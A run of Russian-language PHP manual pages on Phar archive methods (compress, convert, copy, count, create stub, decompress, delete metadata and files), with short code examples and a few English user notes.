В случае использования с phar-архивами, основанными на tar или phar, этот метод сжимает весь архив, используя gzip- или bzip2-сжатие. Полученный файл может быть обработан одной из команд gunzip/bunzip; к нему также можно получить прямой доступ, используя модуль Phar.

В случае использования с phar-архивами, основанными на zip, вызов этого метода потерпит неудачу и будет брошено исключение. Для сжатия по алгоритму gzip должен быть включён модуль zlib. Для сжатия по алгоритму bzip2 должен быть включён модуль bzip2. Как и в случае с другим функционалом, модифицирующим содержание phar-архива, для успешной работы данного метода необходимо, чтобы INI-переменная phar.readonly была отключена.

Кроме того, этот метод автоматически переименовывает архив, добавляя .gz, .bz2 или удаляя расширение, если в качестве первого параметра был передан Phar::NONE, сообщающий о необходимости распаковки. В качестве альтернативы расширение файла может быть задано с помощью второго параметра.

Список параметров

compression

Сжатие должно быть определено одной из констант: Phar::GZ, Phar::BZ2 для использования соответствующего алгоритма сжатия, или Phar::NONE для распаковки.

extension

Для сжатия phar-архивов по умолчанию используется расширение .phar.gz или .phar.bz2, а для сжатия tar-архивов — .phar.tar.gz или .phar.tar.bz2. В случае распаковки, расширениями по умолчанию являются .phar и .phar.tar.

Возвращаемые значения

Возвращает объект Phar или null в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если INI-переменная phar.readonly включена, модуль zlib не доступен или модуль bzip2 не включён.

Список изменений

Версия | Описание
8.0.0 | extension теперь допускает значение null.

Примеры

Пример #1 Пример использования Phar::compress()

<?php
$p = new Phar('/путь/к/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'привет';
$p['myfile2.txt'] = 'привет';
$p1 = $p->compress(Phar::GZ); // копирует в /путь/к/my.phar.gz
$p2 = $p->compress(Phar::BZ2); // копирует в /путь/к/my.phar.bz2
$p3 = $p2->compress(Phar::NONE); // исключение: /путь/к/my.phar уже существует
?>

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • PharData::compress() - Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::decompress() - Распаковывает весь Phar-архив
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве

User Contributed Notes

mike at eyesis dot ca 21-Feb-2011 11:50
For those who want the benefit of having a small compressed PHAR archive but don't want to suffer the performance loss, use php_strip_whitespace when adding files to the archive. If your code has plenty of whitespace, docbocks, and single-line comments this function can greatly decrease archive size without the performance loss.

<?php
$sDir = 'application';
$oPhar = new Phar ('app.phar');

$oDir = new RecursiveIteratorIterator (new RecursiveDirectoryIterator ($sDir), RecursiveIteratorIterator::SELF_FIRST);

foreach ($oDir as $sFile) {
    if ( preg_match ('/\\.php$/i', $sFile) ) {
        $oPhar->addFromString (substr ($sFile, strlen ($sDir) + 1), php_strip_whitespace ($sFile));
    }
}
?>


Сжимает все файлы в текущем Phar-архиве

  • « Phar::compress
  • Phar::__construct »
  • PHP Manual
  • Phar
  • Сжимает все файлы в текущем Phar-архиве

Phar::compressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::compressFiles — Сжимает все файлы в текущем Phar-архиве

Описание

public Phar::compressFiles(int $compression): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

В случае использования с phar-архивами, основанными на tar, этот метод выбрасывает исключение BadMethodCallException, поскольку сжатие отдельных файлов внутри tar-архива не поддерживается данным форматом. Для сжатия целого phar-архива, основанного на tar, используйте Phar::compress().

В случае использования с phar-архивами, основанными на zip или phar, этот метод сжимает все файлы в Phar-архиве используя указанный алгоритм сжатия. Для возможности воспользоваться данным методом должен быть включён модуль zlib или bzip2. Кроме того, если какие-либо файлы в архиве уже сжаты с использованием bzip2/zlib-сжатия, то для их распаковки перед повторным сжатием должен быть включён соответствующий модуль. Как и в случае с другим функционалом, модифицирующим содержание phar-архива, для успешной работы данного метода необходимо, чтобы INI-переменная phar.readonly была отключена.

Список параметров

compression

Сжатие должно быть определено одной из констант: Phar::GZ, Phar::BZ2 для использования соответствующего алгоритма сжатия, или Phar::NONE для распаковки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение BadMethodCallException, если INI-переменная phar.readonly включена, модуль zlib не доступен или если какие-либо файлы внутри архива были сжаты при помощи bzip2-сжатия и модуль bzip2 не включён.

Примеры

Пример #1 Пример использования Phar::compressFiles()

<?php
$p = new Phar('/путь/к/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'привет';
$p['myfile2.txt'] = 'привет';
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

Результат выполнения данного примера:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::decompress() - Распаковывает весь Phar-архив

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 01:55
Compressing the entire archive
$phar->compress();
overrides your stub file.

Use compressFiles to have the the files compressed keeping your own stub in tact (which is not being compressed).
The compression is a little bit worth (since one file is left uncompressed), but enables you to have your own stub file executed with browser requests.

Don't get confused, compressing doesn't rise the security level of your code or obfuscating it strongly enough. The source code of your compressed phar is still easy to read.


Создаёт объект Phar-архива

  • « Phar::compressFiles
  • Phar::convertToData »
  • PHP Manual
  • Phar
  • Создаёт объект Phar-архива

Phar::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::__construct — Создаёт объект Phar-архива

Описание

public Phar::__construct(string $filename, int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS, ?string $alias = null)

Список параметров

filename

Путь к уже существующему Phar-архиву или к архиву, который должен быть создан. Расширение в имени файла должно содержать .phar.

flags

Флаги, которые должны быть переданы в родительский класс RecursiveDirectoryIterator.

alias

Псевдоним, с помощью которого должны производиться ссылки на этот Phar-архив в вызовах, связанных с функционалом потоков.

Ошибки

Выбрасывает исключение BadMethodCallException, если был вызван дважды, и исключение UnexpectedValueException, если phar-архив не может быть открыт.

Примеры

Пример #1 Пример использования Phar::__construct()

<?php
try {
$p = new Phar('/путь/к/my.phar', FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::KEY_AS_FILENAME,
'my.phar');
} catch (UnexpectedValueException $e) {
die('Не удалось открыть my.phar');
} catch (BadMethodCallException $e) {
echo 'Технически это не может произойти';
}
// это теперь работает
echo file_get_contents('phar://my.phar/example.txt');
// и работает так же, как если бы мы ввели
echo file_get_contents('phar:///путь/к/my.phar/example.txt');
?>

User Contributed Notes

myselfasunder at findmenow dot gmail dot com 12-Jul-2010 01:18
Zip support seems to be shaky, in that just attempting to open a Zip file (created by 7-Zip) with both the 'zlib' and 'zip' extensions enabled renders the following error:

Error: Cannot convert phar archive "C:/Development/webdir/public_html/TestPhar.zip", unable to open entry "TestPhar/" contents: phar error: internal corruption of zip-based phar "C:/Development/webdir/public_html/TestPhar.zip" (local header of file "TestPhar/" does not match central directory)

Stick to GZ's and BZ2's (but don't forget to enable the BZ2 extension if necessary).

Phar can ONLY open executable Phar's and PharData can ONLY open non-executable Phar's. Both have the ability to convert between the two formats.

However, you can reference a file within a Phar regardless of whether it's executable using the Phar stream wrapper (file_get_contents('phar://<Phar file>/subdirectory/subdirectory/somefile.txt')).

Dustin Oprea
Christian 13-Apr-2010 06:39
It's not possible to create a new archive when safe_mode is enabled! You simply return a 'Phar creation or opening failed' error.
This applies to Phar and PharData in PHP 5.3.2.


Конвертирует phar-архив в неисполняемый tar- или zip-файл

  • « Phar::__construct
  • Phar::convertToExecutable »
  • PHP Manual
  • Phar
  • Конвертирует phar-архив в неисполняемый tar- или zip-файл

Phar::convertToData

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::convertToData — Конвертирует phar-архив в неисполняемый tar- или zip-файл

Описание

public Phar::convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData

Этот метод используется для конвертирования phar-архив в tar- или zip-файл. Чтобы создать сделать tar или zip неисполняемым, из создаваемого в результате конвертации архива удаляются загрузка и псевдоним phar-архива.

Если не были указаны никакие изменения, то данный метод выбросит исключение BadMethodCallException, если форматом файла архива является phar. В случае использования с архивами в формате tar или zip, данный метод конвертирует архив в неисполняемый архив.

В случае успешного выполнения данный метод создаёт на диске новый архив и возвращает объект PharData. Старый архив не удаляется с диска, это должно быть сделано вручную после завершения процесса.

Список параметров

format

Значением этого параметра должна быть одна из констант: Phar::TAR или Phar::ZIP. Если значение установлено в null, то существующий формат файла будет сохранён.

compression

Значением этого параметра должна быть одна из констант: Phar::NONE для отсутствия сжатия всего архива, Phar::GZ для сжатия, основанного на zlib, или Phar::BZ2 для bzip-сжатия.

extension

Этот параметр используется для переопределения расширение файла по умолчанию для сконвертированного архива. Обратите внимание, что .phar не может быть использовано где-либо в имени файла неисполняемого tar- или zip-архива.

В случае конвертации phar-архива, основанного на tar, расширениями по умолчанию являются: .tar, .tar.gz и .tar.bz2, в зависимости от указанного сжатия. Для архивов, основанных на zip, расширением по умолчанию является .zip.

Возвращаемые значения

Данный метод возвращает объект PharData в случае успешного выполнения и null в случае возникновения ошибки.

Ошибки

Данный метод выбрасывает исключение BadMethodCallException в следующих случаях: при невозможности сжатия; если был передан неизвестный алгоритм сжатия; в запрошенном архиве была включена буферизация с помощью Phar::startBuffering() и не была завершена с помощью Phar::stopBuffering(). В случае возникновения каких-либо проблем в процессе создания phar будет выброшено исключение PharException.

Список изменений

Версия | Описание
8.0.0 | format, compression и extension теперь допускают значение null.

Примеры

Пример #1 Пример использования Phar::convertToData()

Использование Phar::convertToData():

<?php
try {
$tarphar = new Phar('myphar.phar.tar');
// обратите внимание, что myphar.phar.tar *не* будет удалён
// конверировать архив в неисполняемый tar-формат
// будет создан myphar.tar
$tar = $tarphar->convertToData();
// конверировать архив в неисполняемый zip-формат файла, будет создан myphar.zip
$zip = $tarphar->convertToData(Phar::ZIP);
// будет создан myphar.tbz
$tgz = $tarphar->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
// будет создан myphar.phar.tgz
$phar = $tarphar->convertToData(Phar::PHAR); // будет выброшено исключение
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::convertToExecutable() - Конвертирует phar-архив в другой исполняемый формат файла
  • PharData::convertToExecutable() - Конвертация tar/zip-архива с данными в запускаемый phar-архив
  • PharData::convertToData() - Конвертация phar-архива в незапускаемый tar/zip-архив

User Contributed Notes

There are no user contributed notes for this page.


Конвертирует phar-архив в другой исполняемый формат файла

  • « Phar::convertToData
  • Phar::copy »
  • PHP Manual
  • Phar
  • Конвертирует phar-архив в другой исполняемый формат файла

Phar::convertToExecutable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::convertToExecutable — Конвертирует phar-архив в другой исполняемый формат файла

Описание

public Phar::convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Этот метод используется для конвертирования phar-архива в другой формат файла. Например, он может быть использован для создания исполняемого phar-архива, основанного на tar, из исполняемого phar-архива, основанного на zip, или из исполняемого phar-архива с форматом файла phar. Кроме того, данный метод может быть использован для сжатия целого архива, основанного на tar или phar.

Если не были указаны никакие изменения, то данный метод выбросит исключение BadMethodCallException.

В случае успешного выполнения данный метод создаёт на диске новый архив и возвращает объект Phar. Старый архив не удаляется с диска, это должно быть сделано вручную после завершения процесса.

Список параметров

format

Значением этого параметра должна быть одна из констант: Phar::PHAR, Phar::TAR или Phar::ZIP. Если значение установлено в null, то существующий формат файла будет сохранён.

compression

Значением этого параметра должна быть одна из констант: Phar::NONE для отсутствия сжатия всего архива, Phar::GZ для сжатия, основанного на zlib, или Phar::BZ2 для bzip-сжатия.

extension

Этот параметр используется для переопределения расширение файла по умолчанию для сконвертированного архива. Обратите внимание, что все phar-архивы, основанные на tar или zip, должны содержать .phar в расширении файла чтобы они могли быть обработаны в качестве phar-архива.

В случае конвертации архива, основанного на phar, расширениями по умолчанию являются .phar, .phar.gz и .phar.bz2, в зависимости от указанного сжатия. В случае конвертации phar-архива, основанного на tar, расширениями по умолчанию являются .phar.tar, .phar.tar.gz и .phar.tar.bz2. Для архивов, основанных на zip, расширением по умолчанию является .zip.

Возвращаемые значения

Данный метод возвращает объект Phar в успешного выполнения и null в случае возникновения ошибки.

Ошибки

Данный метод выбрасывает исключение BadMethodCallException в следующих случаях: при невозможности сжатия; если был передан неизвестный алгоритм сжатия; в запрошенном архиве была включена буферизация с помощью Phar::startBuffering() и не была завершена с помощью Phar::stopBuffering(). Если поддержка записи отключена, то будет брошено исключение UnexpectedValueException. В случае возникновения каких-либо проблем в процессе создания phar выбрасывается исключение PharException.

Список изменений

Версия | Описание
8.0.0 | format, compression и extension теперь допускают значение null.

Примеры

Пример #1 Пример использования Phar::convertToExecutable()

Использование Phar::convertToExecutable():

<?php
try {
$tarphar = new Phar('myphar.phar.tar');
// конвертировать архив в формат phar
// обратите внимание, что myphar.phar.tar *не* будет удалён
$phar = $tarphar->convertToExecutable(Phar::PHAR); // будет создан myphar.phar
$phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
// будет создан myphar.phar.tgz
$compressed = $phar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::convertToData() - Конвертирует phar-архив в неисполняемый tar- или zip-файл
  • PharData::convertToExecutable() - Конвертация tar/zip-архива с данными в запускаемый phar-архив
  • PharData::convertToData() - Конвертация phar-архива в незапускаемый tar/zip-архив

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 12:52
Convert to executable and compress methods override any stub you have created with their own stub which is responsible for extracting/executing self's content.

calling setStub() after convertingToExecutable doesn't help either. As far of php 5.3.6 (phar     2.0.1 ) if you want to have a phar archive accessible threw the web, you'll have to create your own
index.php which will include a nonexecutable phar and act as the bootstrap.


Копирует один файл внутри phar-архива в другой новый файл внутри phar-архива

  • « Phar::convertToExecutable
  • Phar::count »
  • PHP Manual
  • Phar
  • Копирует один файл внутри phar-архива в другой новый файл внутри phar-архива

Phar::copy

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::copy — Копирует один файл внутри phar-архива в другой новый файл внутри phar-архива

Описание

public Phar::copy(string $from, string $to): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Копирует внутренний файл phar-архива в другой новый файл внутри phar-архива. Это объектно-ориентированная альтернатива использованию copy() с обёрткой потока phar.

Список параметров

from

to

Возвращаемые значения

возвращает true в случае успешного выполнения, но безопаснее заключить вызов метода в блок try/catch и считать его успешным, если не было выброшено исключение.

Ошибки

Выбрасывает исключение UnexpectedValueException если: исходный файл не существует, целевой файл уже существует, доступ на запись отключён, открытие какого-либо файла невозможно или чтение исходного файла потерпело неудачу. Если запись изменений в phar не удалась, будет выброшено исключение PharException.

Примеры

Пример #1 Пример использования Phar::copy()

В этом примере показано использование метода Phar::copy() и эквивалентной ему по функциональности обёртки потока для решения одной и той же задачи. Основным различием между этими двумя подходами является обработка ошибок. Все методы Phar выбрасывают исключения, тогда как обёртка потока использует trigger_error().

<?php
try {
$phar = new Phar('myphar.phar');
$phar['a'] = 'привет';
$phar->copy('a', 'b');
echo $phar['b']; // будет выведено "привет"
} catch (Exception $e) {
// обработка ошибок
}

// обёртка потока, эквивалентная коду выше.
// в случае возникновения ошибки будет вызвано предупреждение E_WARNING, а не исключение
copy('phar://myphar.phar/a', 'phar//myphar.phar/c');
echo file_get_contents('phar://myphar.phar/c'); // будет выведено "привет"
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество записей (файлов) в Phar-архиве

  • « Phar::copy
  • Phar::createDefaultStub »
  • PHP Manual
  • Phar
  • Возвращает количество записей (файлов) в Phar-архиве

Phar::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::count — Возвращает количество записей (файлов) в Phar-архиве

Описание

public Phar::count(int $mode = COUNT_NORMAL): int

Список параметров

mode

Параметр mode - целочисленное значение, определяющее используемый режим подсчёта. По умолчанию установлено значение COUNT_NORMAL, подсчитываются только элементы в архиве, которые не были удалены или скрыты. Если установлено значение COUNT_RECURSIVE, подсчитываются все элементы в архиве, включая удалённые или скрытые.

Возвращаемые значения

Количество файлов, содержащихся в этом phar-архиве, либо 0 (число ноль), если архив пуст.

Примеры

Пример #1 Пример использования Phar::count()

<?php
// убедитесь, что архив не существует
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
echo 'Не удалось создать phar:', $e;
}
echo 'Новый phar содержит ' . $p->count() . " записей\n";
$p['file.txt'] = 'привет';
echo 'Новый phar содержит ' . $p->count() . " записей\n";
?>

Результат выполнения данного примера:

Новый phar содержит 0 записей
Новый phar содержит 1 записей

User Contributed Notes

There are no user contributed notes for this page.


Создать заглушку в формате phar-архива

  • « Phar::count
  • Phar::decompress »
  • PHP Manual
  • Phar
  • Создать заглушку в формате phar-архива

Phar::createDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::createDefaultStub — Создать заглушку в формате phar-архива

Описание

final public static Phar::createDefaultStub(?string $index = null, ?string $webIndex = null): string

Этот метод создаёт код заглушку (stub) в специфичном для phar-архива формате и не предназначенный для использования с файловыми архивами на основе tar или zip.

Phar-архивы содержат загрузчик (stub), написанный на PHP, который запускается при запуске архива, когда его подключают через include:

<?php
include 'myphar.phar';
?>
или просто запускают:
php myphar.phar

Этот метод предоставляет простой способ для создания заглушку, который будет отрабатывать при запуске phar-архива. Кроме того, можно указывать разные файлы для запуска phar-архива через веб-сервер и через командную строку. Заглушка также вызывает Phar::interceptFileFuncs() для простого создания приложений PHP с доступом к файловой системе. Если модуль phar отсутствует, то заглушка распакует phar-архив во временную директорию и запустит приложение оттуда. Функция завершения работы удалит все временные файлы.

Список параметров

index

Относительный путь в phar-архиве для запуска при доступе из командной строки

webIndex

Относительный путь в phar-архиве для запуска при доступе через браузер

Возвращаемые значения

Возвращает текст с кодом заглушку, который позволит Phar-архиву запускаться независимо от того, подключён ли модуль Phar или нет.

Ошибки

Выбросит исключение UnexpectedValueException, если любой из параметров будет длиннее 400 байт.

Список изменений

Версия | Описание
8.0.0 | index и webIndex теперь допускают значение null.

Примеры

Пример #1 Пример использования Phar::createDefaultStub()

<?php
try {
$phar = new Phar('myphar.phar');
$phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::setStub() - Установить загрузчик или загрузочную заглушку в Phar-архив
  • Phar::getStub() - Получить загрузчик PHP или загрузчик заглушки Phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Распаковывает весь Phar-архив

  • « Phar::createDefaultStub
  • Phar::decompressFiles »
  • PHP Manual
  • Phar
  • Распаковывает весь Phar-архив

Phar::decompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::decompress — Распаковывает весь Phar-архив

Описание

public Phar::decompress(?string $extension = null): ?Phar

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

В случае с phar-архивами, основанными на tar или phar, этот метод распаковывает весь архив.

В случае с phar-архивами, основанными на zip, вызов данного метода потерпит неудачу и будет брошено исключение. Для распаковки архива, сжатого по алгоритму gzip, должен быть включён модуль zlib; для распаковки архива, сжатого по алгоритму bzip2, должен быть включён модуль bzip2. Как и в случае с другим функционалом, модифицирующим содержание phar-архива, для успешной работы данного метода необходимо, чтобы INI-переменная phar.readonly была отключена.

Кроме того, этот метод автоматически меняет расширения файла архива: по умолчанию .phar для phar-архивов и .phar.tar для phar-архивов, основанных на tar. В качестве альтернативы расширение файла может быть задано с помощью второго параметра.

Список параметров

extension

Расширениями распакованного файла по умолчанию являются .phar и .phar.tar. Этот параметр может быть использован для задания другого расширения распакованного файла. Имейте в виду, что все исполняемые phar-архивы должны содержать .phar в имени файла.

Возвращаемые значения

Возвращает объект Phar в случае успешного выполнения и null в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если INI-переменная phar.readonly включена, модуль zlib не доступен или модуль bzip2 не включён.

Список изменений

Версия | Описание
8.0.0 | extension теперь допускает значение null.

Примеры

Пример #1 Пример использования Phar::decompress()

<?php
$p = new Phar('/путь/к/my.phar', 0, 'my.phar.gz');
$p['myfile.txt'] = 'привет';
$p['myfile2.txt'] = 'привет';
$p3 = $p2->decompress(); // создаст /путь/к/my.phar
?>

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • PharData::compress() - Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве

User Contributed Notes

shevadas at gmail dot com 26-Apr-2016 04:19
decompress() will truncate any part of the filename after the first period, as it assumes it's part of the extension. For example, if your PharData archive is named "views-3.x-3.13.tar.gz", calling decompress on it will create a tar file named "views-3.tar". See https://bugs.php.net/bug.php?id=58852


Распаковывает все файлы в текущем Phar-архиве

  • « Phar::decompress
  • Phar::delMetadata »
  • PHP Manual
  • Phar
  • Распаковывает все файлы в текущем Phar-архиве

Phar::decompressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::decompressFiles — Распаковывает все файлы в текущем Phar-архиве

Описание

public Phar::decompressFiles(): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

В случае использования с phar-архивами, основанными на tar, этот метод выбрасывает исключение BadMethodCallException, поскольку сжатие отдельных файлов внутри tar-архива не поддерживается данным форматом. Для сжатия целого phar-архива, основанного на tar, используйте Phar::compress().

В случае использования с phar-архивами, основанными на zip или phar, этот метод распаковывает все файлы в Phar-архиве. Если какие-либо файлы внутри архива были сжаты при помощи bzip2/zlib-сжатия, то для возможности воспользоваться данным методом должен быть включён модуль zlib или bzip2. Как и в случае с другим функционалом, модифицирующим содержание phar-архива, для успешной работы данного метода необходимо, чтобы INI-переменная phar.readonly была отключена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если INI-переменная phar.readonly включена, модуль zlib не доступен или если какие-либо файлы внутри архива были сжаты с использованием bzip2-сжатия и модуль bzip2 не включён.

Примеры

Пример #1 Пример использования Phar::decompressFiles()

<?php
$p = new Phar('/путь/к/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'привет';
$p['myfile2.txt'] = 'привет';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

Результат выполнения данного примера:

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::decompress() - Распаковывает весь Phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Удалить глобальные метаданные в архиве phar

  • « Phar::decompressFiles
  • Phar::delete »
  • PHP Manual
  • Phar
  • Удалить глобальные метаданные в архиве phar

Phar::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::delMetadata — Удалить глобальные метаданные в архиве phar

Описание

public Phar::delMetadata(): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Удаляет глобальные метаданные в архиве phar

Список параметров

Возвращаемые значения

Возвращает true в успешного выполнения, но лучше использовать проверку исключений.

Ошибки

Выбрасывает исключение PharException в случае возникновения ошибки при сохранении изменений на диск.

Примеры

Пример #1 Пример использования Phar::delMetaData()

<?php
try {
$phar = new Phar('myphar.phar');
var_dump($phar->getMetadata());
$phar->setMetadata("hi there");
var_dump($phar->getMetadata());
$phar->delMetadata();
var_dump($phar->getMetadata());
} catch (Exception $e) {
// обработка ошибок
}
?>

Результат выполнения данного примера:

NULL
string(8) "hi there"
NULL

Смотрите также

  • Phar::getMetadata() - Извлечь метаданные phar-архива
  • Phar::setMetadata() - Установить метаданные phar-архива
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные

User Contributed Notes

There are no user contributed notes for this page.


Удаляет файл внутри phar-архива

  • « Phar::delMetadata
  • Phar::__destruct »
  • PHP Manual
  • Phar
  • Удаляет файл внутри phar-архива

Phar::delete

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::delete — Удаляет файл внутри phar-архива

Описание

public Phar::delete(string $localName): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Удаляет файл из архива. Эта функция аналогична вызову unlink() для обёртки потока, как это показано в примере ниже.

Список параметров

localName

Путь внутри архива к файлу для удаления.

Возвращаемые значения

Возвращает true в случае успешного выполнения, но лучше проверить, было ли выброшено исключение, и считать успешным вызов, в результате которого не было выброшено исключение.

Ошибки

Выбрасывает исключение PharException, если произошли ошибки во время записи изменений на диск.

Примеры

Пример #1 Пример использования Phar::delete()

<?php
try {
$phar = new Phar('myphar.phar');
$phar->delete('удали/меня.php');
// это эквивалентно следующему:
unlink('phar://myphar.phar/удали/меня.php');
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • PharData::delete() - Удалить файл из tar/zip-архива
  • Phar::unlinkArchive() - Полностью удалить архив из памяти и с диска

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает объект архива Phar

  • « Phar::delete
  • Phar::extractTo »
  • PHP Manual
  • Phar
  • Уничтожает объект архива Phar

Phar::__destruct

